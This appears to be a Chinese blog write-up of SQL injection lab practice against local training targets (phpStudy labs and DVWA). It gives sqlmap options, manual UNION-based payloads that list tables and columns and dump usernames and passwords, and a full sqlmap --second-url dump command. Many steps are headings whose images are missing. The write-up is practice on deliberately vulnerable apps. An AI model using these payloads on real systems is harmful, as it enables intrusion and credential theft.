打靶日常-sql注入(手工+sqlmap)
小知识:
注入点:在哪里输入sgl指令中的参数
执行点:在那个页面拼接sql指令并发送给数据库执行
回显点:执行的结果显示在哪个页面
sqlmap知识点:
输出等级 -v3 范围0-6 默认1 一般3 考试3
测试等级 --level=1 范围1-5 默认1 一般3 考试1
风险等级 --risk=1 范围1-3 默认1 一般1 考试1
获取内容指定已知内容
--dbs -D database
--tables -T table
-columns -C column
-dump
攻击目标 -u指定url -p指定参数 -r指定文件
自定义数据
--data=""
--cookie=""
--proxy=""
--random-agent
--tamper "equaltolike"
小皮:
1.数字型post:使用hackbar插件:
手工:
先判断类型
%'")a-- #
由上确定为数字型:
也可以由报错来查看回显点:
这里因为hackbar版本问题,无法发送请求,大家可以自行测试
查列数:
确定回显点:
查数据库名:
查表名:
这里也可以写:
(SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())
查列名:这里是查"users"表
(SELECT GROUP_CONCAT(column_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users')
查数据:
select group_concat(username,password) from users
(select group_concat(username,password SEPARATOR 0x3c62723e) from users)
(select group_concat(username,':',password) from users)
(select group_concat(username,':',password separator '</br>')
sqlmap:
先抓post包:
然后存为文件:
再将文件放在sqlmap文件路径下:
这里博主使用的conda管理了python,不必和博主一样
成功之后:
查数据库:
查表:
查列:
查数据:
2.字符型get:
手工:
这里%23是#的URL编码
先判断类型
易得是单引号闭合
确定回显点:
查数据库名:
查表名:
(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE())
查列名:
(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users')
查数据:
(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)
sqlmap:
获取URL:
因为有两个参数,所以要有引号:
查数据库名:
查表名:
查列名:
查数据:
3.探索型:
手工:
先判断闭合方式:
'")a-- #%''
易得为%'闭合:
查数据库:
查表名:
查列名:
查数据:
sqlmap:
查数据库:
查表名:
查列名:
查数据:
DVWA:
low:
手动测试不予演示:
sqlmap:
这里添加cookie:(也可以理解为,dvwa需要登录,所以需要cookie)
我们抓一个包,发现确实需要cookie,当然我们也直接可以用这个包的内容做一个文件,然后直接用这个文件
其他操作同上
medium:数字+post
易得为字符型,2个回显点
查库,查表:
union select database(),(SELECT GROUP_CONCAT(table_name SEPARATOR 0x3c62723e) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE())
这里查列出错,敬请期待
sqlmap:post型:
high:注入点和执行点不在同一个页面上,post
用到了--second-url
抓包可知是post请求
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php#" --cookie="PHPSESSID=htg4se6dcqj6jik2217r0338r0; security=high" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/#" --data="Submit=Submit&id=1" -D dvwa -T users -C user,password --dump